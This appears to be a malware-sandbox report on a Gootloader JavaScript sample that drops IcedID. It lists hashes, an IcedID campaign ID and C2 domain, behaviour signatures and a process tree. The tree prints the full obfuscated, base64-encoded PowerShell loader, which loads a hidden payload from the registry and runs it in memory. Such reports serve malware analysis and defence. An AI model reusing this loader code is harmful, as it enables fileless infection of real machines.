Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
106s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
23/09/2022, 14:28
Static task
static1
Behavioral task
behavioral1
Sample
gootloader-payload.js
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
gootloader-payload.js
Resource
win10v2004-20220901-en
General
-
Target
gootloader-payload.js
-
Size
245KB
-
MD5
3793a0bc98b744d1ad1a41cad211c08d
-
SHA1
69d470c25bef8d7185263a8288114db3903979e5
-
SHA256
58105e33f351cfa7bde0c3c4dda630379f0f71ddf8dc2a1ce63ea194607f3551
-
SHA512
e18b1f47db6efe21b78c81c05cb18ffbe73e3238a999858331be39a35f1548f975098ff81852f0637e9ee9170c43c0b0d8b63977d805717b7dc9333508a93b74
-
SSDEEP
1536:WRml64QvRDKbimZOQyXjdBMWxXJUGkJPZF40nuOMdo4JpqU1vmROQxB/Nfr27NV5:ShPnluOo3xBX0iRSMzelxUtIATOCsd
Malware Config
Extracted
icedid
2475032331
zalikomanperis.com
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 58 5004 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation wscript.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4060 set thread context of 5004 4060 powershell.exe 103 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5048 powershell.exe 5048 powershell.exe 4060 powershell.exe 4060 powershell.exe 5004 powershell.exe 5004 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5048 powershell.exe Token: SeDebugPrivilege 4060 powershell.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 2640 wrote to memory of 5048 2640 wscript.exe 91 PID 2640 wrote to memory of 5048 2640 wscript.exe 91 PID 5048 wrote to memory of 4060 5048 powershell.exe 93 PID 5048 wrote to memory of 4060 5048 powershell.exe 93 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103 PID 4060 wrote to memory of 5004 4060 powershell.exe 103
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\gootloader-payload.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "/"e" M"gA5ADgANwA4ADUAM"QA5AD"UA"OwBzAG"wAZQ"BlAHA"AIAA"tAHMAIAA"3ADE"AO"wAkAGcAawB3AD0A"RwBlAHQ"A"LQBJAH"QAZQB"t"AFAAcgB"vAHA"AZQByAH"QAe"Q"AgAC"0AcABh"AHQAa"AAgACg"AIgBoAGsAIgA"rACIAYw"B"1AD"oAXABz"AG8A"Zg"Ai"ACsAI"gB0A"HcAIgArACI"AYQByAGU"A"XAB"tAGkAYwAiACsAIgBy"AG8AcwAi"ACsAIgBv"A"G"YAdABc"ACI"AK"wBbAEUAb"gB2AGkAcgB"vA"G4"AbQBl"AG"4"A"dABd"A"Do"AOgAoACIAdQB"zAGUAIg"Ar"A"CI"A"c"gBuAC"IA"K"w"Ai"A"GEAbQ"Bl"ACIAKQArACI"A"MAA"iACkAOwBmAG8Ac"gA"gA"Cg"AJA"BjAH"U"APQAwADsAJA"BjAHUAI"AAt"AGwAZ"QAgADcAMQAwADsA"JABj"AHU"A"KwA"rACkAewB"U"AHI"AeQ"B7A"C"QAZgB5"ACsA"PQAkAGcAawB3AC4"AJ"ABjAHU"AfQ"BDAGEAdABjAGgAewB9A"H"0AOwAkAGMAdQA9ADAAOw"B3"AGg"AaQBsAGUA"K"AAkA"HQAc"gB1AGUAKQB"7"ACQ"AY"wB1ACs"AK"wA7ACQAaw"BvA"D0AWwB"tAG"EAdA"BoAF0AOgA6ACgAIgBzAH"E"A"Ig"ArACIAcgB0ACIAKQA"oACQAY"wB1ACkA"OwBpAGYAKAAkAGsAbwAgAC"0A"ZQBxACAAMQAwADAAMA"ApA"H"sAYgB"yAG"UAYQBrAH0A"fQ"Ak"AHEAY"gByA"D0AJ"A"BmAHkALgByAGUAcABs"AGEAYwBlA"CgAI"g"AjACIALAA"kAGsAbwApADsAJA"B"p"A"HkAYQ"A9AFsA"YgB5AHQAZQBbAF0"AXQA6ADoA"KAAiA"G4A"ZQA"iACs"AIgB3A"CIAKQ"AoA"CQAcQ"BiA"H"IA"Lg"BM"AGUAbgBn"AHQAaAAv"A"DI"AKQA7AGYA"bwBy"ACgA"JA"B"jAHU"AP"Q"AwADsAJA"BjAHUAIAA"tAGw"AdAAgACQAcQ"B"iAH"IALgBMAGU"Ab"gB"nA"HQ"Aa"A"A"7ACQ"AYwB1"ACsAPQAyACkAew"AkAGkAeQBh"AFs"AJABjA"H"UA"Lw"AyAF0APQBbAGM"Abw"BuAH"YA"ZQBy"AHQAXQ"A6ADo"A"K"AA"i"A"FQ"Abw"BCACIAKw"AiA"HkAdABl"A"CIAKQAoA"C"Q"AcQB"iAHI"A"LgBTAHUAYgB"zAHQAcgBpA"G"4AZwA"oA"CQ"AY"wB1AC"wAMgAp"ACwAKAAyA"Co"AO"AA"pAC"kAf"QBbAHIAZ"QBm"AGw"A"ZQBjA"HQA"aQB"vA"G4ALgBhA"H"MA"cwBl"AG"0AY"g"BsAH"kA"XQA6AD"o"A"KAAiAEwAbwAiAC"sAI"gBhAGQAIgA"pACgAJABpAHk"AYQApADs"AWwBPAHAAZQBu"AF0"AOgA6ACgA"IgBUAGUAI"gArACIAcwB0ACIAKQAoACkAOw"A5ADYAMQA4ADIAM"AA5ADA"ANwA7A"A==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /e MgA5ADgANwA4ADUAMQA5ADUAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAGcAawB3AD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgAoACIAdQBzAGUAIgArACIAcgBuACIAKwAiAGEAbQBlACIAKQArACIAMAAiACkAOwBmAG8AcgAgACgAJABjAHUAPQAwADsAJABjAHUAIAAtAGwAZQAgADcAMQAwADsAJABjAHUAKwArACkAewBUAHIAeQB7ACQAZgB5ACsAPQAkAGcAawB3AC4AJABjAHUAfQBDAGEAdABjAGgAewB9AH0AOwAkAGMAdQA9ADAAOwB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQB7ACQAYwB1ACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAYwB1ACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAHEAYgByAD0AJABmAHkALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApADsAJABpAHkAYQA9AFsAYgB5AHQAZQBbAF0AXQA6ADoAKAAiAG4AZQAiACsAIgB3ACIAKQAoACQAcQBiAHIALgBMAGUAbgBnAHQAaAAvADIAKQA7AGYAbwByACgAJABjAHUAPQAwADsAJABjAHUAIAAtAGwAdAAgACQAcQBiAHIALgBMAGUAbgBnAHQAaAA7ACQAYwB1ACsAPQAyACkAewAkAGkAeQBhAFsAJABjAHUALwAyAF0APQBbAGMAbwBuAHYAZQByAHQAXQA6ADoAKAAiAFQAbwBCACIAKwAiAHkAdABlACIAKQAoACQAcQBiAHIALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwB1ACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABpAHkAYQApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA5ADYAMQA4ADIAMAA5ADAANwA7AA==3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:5004
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
Filesize
64B
MD50ff7e1af4cc86e108eef582452b35523
SHA1c2ccf2811d56c3a3a58dced2b07f95076c6b5b96
SHA25662ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0
SHA512374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937